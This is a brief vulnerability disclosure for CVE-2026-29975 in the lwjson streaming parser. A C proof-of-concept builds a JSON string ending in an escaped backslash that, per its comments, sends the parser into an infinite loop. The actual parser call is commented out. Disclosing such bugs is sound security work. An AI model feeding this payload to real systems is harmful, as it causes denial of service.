CVE-2026-29975 lwjson流式解析器拒绝服务漏洞

/* * PoC for CVE-2026-29975 * This payload demonstrates the JSON structure that causes the hang. * A string ending with an escaped backslash (\\) causes the parser to fail termination. */ #include <stdio.h> #include <string.h> // Hypothetical usage context void trigger_vulnerability() { // Malicious JSON payload: key's value ends with \\ // In JSON string literal: {"test":"value\\"} // Actual bytes: {"test":"value\\"} char* malicious_json = "{\"test\":\"value\\\\\"}"; printf("Sending payload: %s\n", malicious_json); // If processed by vulnerable lwjson_stream_parse(): // The parser sees the final quote, looks back, sees a backslash. // It thinks the quote is escaped, but the backslash was actually escaping itself. // Result: Infinite loop / Hang. // lwjson_stream_parse(parser, malicious_json, strlen(malicious_json)); } int main() { trigger_vulnerability(); return 0; }